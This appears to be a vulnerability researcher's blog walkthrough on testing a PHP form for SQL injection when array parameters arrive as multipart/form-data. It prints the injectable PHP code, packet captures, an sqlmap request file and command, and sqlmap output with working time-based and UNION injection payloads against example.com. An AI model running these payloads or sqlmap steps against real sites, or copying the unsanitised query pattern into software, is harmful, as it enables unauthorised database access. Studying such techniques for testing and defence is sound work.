I’ve spent a fair amount of my time examining code for vulnerabilities, I recently began to focus specifically on SQL injection. While investigating this specific type of vulnerability in web applications, I ran across a few examples where the injection point was in a POST request but it wasn’t your straightforward content-type application/x-www-form-urlencoded form. The injection point was being passed as an array via POST and processed inside of a foreach loop:
$person_name= $_POST['person']; foreach($person_name as $person => $value) { $query = "select * from v_entry where vdbid = $value"; $result = mysql_query($query); $num = mysql_numrows($result); $x=0; while ($num > $x) { echo "<br>"; echo mysql_result($result,$x,1); $x++; } }
The HTML form specified the encoding type as ‘multipart/form-data’
A packet capture with tcpdump for the original form post and then my first attempt with SQLmap will easily display the differences below:
# tcpdump -Xvvv port 80 POST: /post_sqli_research/form.php HTTP/1.1 Host: example.com Connection: keep-alive Content-Length: 591 Cache-Control: max-age=0 Origin: http://example.com Upgrade-Insecure-Requests: 1 User-Agent: Mozilla... Referer: http://example.com/post_sqli_research/form.php Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.8 ------WebKitFormBoundaryi8tNoAS0tr0R3KR2 Content-Disposition: form-data; name="Person[Person_name]" 1 ------WebKitFormBoundaryi8tNoAS0tr0R3KR2 Content-Disposition: form-data; name="Person[Person_contact]" 1 ------WebKitFormBoundaryi8tNoAS0tr0R3KR2 Content-Disposition: form-data; name="Person[Person_email]" 1 ------WebKitFormBoundaryi8tNoAS0tr0R3KR2 Content-Disposition: form-data; name="Person[Person_description]" 1 ------WebKitFormBoundaryi8tNoAS0tr0R3KR2 Content-Disposition: form-data; name="Person_create" Add Person
And the tcpdump output with a generic attempt using SQLmap:
POST /post_sqli_research/form.php HTTP/1.1 Content-Length: 135 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Host: example.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 User-Agent: sqlmap/1.0.8.2#dev (http://sqlmap.org) Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Connection: close Pragma: no-cache Cache-Control: no-cache,no-store Content-Type: application/x-www-form-urlencoded; charset=utf-8 Person%5BPerson_name%5D=%20UNION%20ALL%20SELECT%20NULL%23&Person%5BPerson_contact%5D=1&Person%5BPerson_email%5D=1&Person%5Bdescription%5D=1%22[!http]
We see the Content-Type encoding isn’t what the form is expecting. I’ll clean up and modify the TCP-dump output to add a ‘*’ where we think the injection point is. I’ll then save it in a file called request.txt and then supply that as an argument to -r REQUESTFILE in SQL map. It should look similar to the output below:
$ cat request.txt POST /post_sqli_research/test.php HTTP/1.1 Host: example.com Connection: keep-alive Content-Length: 591 Cache-Control: max-age=0 Origin: http://example.com Upgrade-Insecure-Requests: 1 User-Agent: Mozilla... Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryi8tNoAS0tr0R3KR2 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Referer: http://example.com/post_sqli_research/form.php Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.8 ------WebKitFormBoundaryi8tNoAS0tr0R3KR2 Content-Disposition: form-data; name="Person[Person_name]" 1* ------WebKitFormBoundaryi8tNoAS0tr0R3KR2 Content-Disposition: form-data; name="Person[Person_contact]" 1 ------WebKitFormBoundaryi8tNoAS0tr0R3KR2 Content-Disposition: form-data; name="Person[Person_email]" 1 ------WebKitFormBoundaryi8tNoAS0tr0R3KR2 Content-Disposition: form-data; name="Person[Person_description]" 1 ------WebKitFormBoundaryi8tNoAS0tr0R3KR2 Content-Disposition: form-data; name="Person_create" Add Person ------WebKitFormBoundaryi8tNoAS0tr0R3KR2--
I’ll specify the parameter on the SQLmap command line where we placed a ‘*’ in the input to mark our suspected injection point with -p TESTPARAMETER. I mentioned above that -r tells SQLmap to use the format specified in that file to generate the request.
$ sqlmap -r request.txt -p "Person[Person_name]" --level 2 --risk 2 . . . [11:40:13] [INFO] (custom) POST parameter '#1*' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable (custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y sqlmap identified the following injection point(s) with a total of 373 HTTP(s) requests: --- Parameter: #1* ((custom) POST) Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: ------WebKitFormBoundaryi8tNoAS0tr0R3KR2 Content-Disposition: form-data; name="Person[Person_name]" 1 AND (SELECT * FROM (SELECT(SLEEP(5)))GrGB) ------WebKitFormBoundaryi8tNoAS0tr0R3KR2 Content-Disposition: form-data; name="Person[Person_contact]" 1 ------WebKitFormBoundaryi8tNoAS0tr0R3KR2 Content-Disposition: form-data; name="Person[Person_email]" 1 ------WebKitFormBoundaryi8tNoAS0tr0R3KR2 Content-Disposition: form-data; name="Person[Person_description]" 1 ------WebKitFormBoundaryi8tNoAS0tr0R3KR2 Content-Disposition: form-data; name="Person_create" Add Person ------WebKitFormBoundaryi8tNoAS0tr0R3KR2-- Type: UNION query Title: Generic UNION query (NULL) - 19 columns Payload: ------WebKitFormBoundaryi8tNoAS0tr0R3KR2 Content-Disposition: form-data; name="Person[Person_name]" 1 UNION ALL SELECT NULL,CONCAT(0x7170787671,0x534c744f4a7043446e4c6c55596b634b61624c6d55686e546272756b736a4e6973544979686c746c,0x7162706a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- kVed ------WebKitFormBoundaryi8tNoAS0tr0R3KR2 Content-Disposition: form-data; name="Person[Person_contact]" 1 ------WebKitFormBoundaryi8tNoAS0tr0R3KR2 Content-Disposition: form-data; name="Person[Person_email]" 1 ------WebKitFormBoundaryi8tNoAS0tr0R3KR2 Content-Disposition: form-data; name="Person[Person_description]" 1 ------WebKitFormBoundaryi8tNoAS0tr0R3KR2 Content-Disposition: form-data; name="Person_create" Add Person ------WebKitFormBoundaryi8tNoAS0tr0R3KR2----- [11:40:15] [INFO] the back-end DBMS is MySQL web server operating system: Linux Debian 8.0 (jessie) web application technology: Apache 2.4.10 back-end DBMS: MySQL >= 5.0.12 [11:40:15] [INFO] fetched data logged to text files under '/home/larry/.sqlmap/output/example.com' [*] shutting down at 11:40:15
Above we see in the SQLmap output that it confirms our injection point is exploitable.
Conclusion
As a vulnerability researcher, I run across all sorts of interesting code and ways to exploit it. It’s always a learning experience, this is one of the reasons why I try to spend some time each week hunting for bugs. I enjoy the discovery and exploitation while learning new things along the way.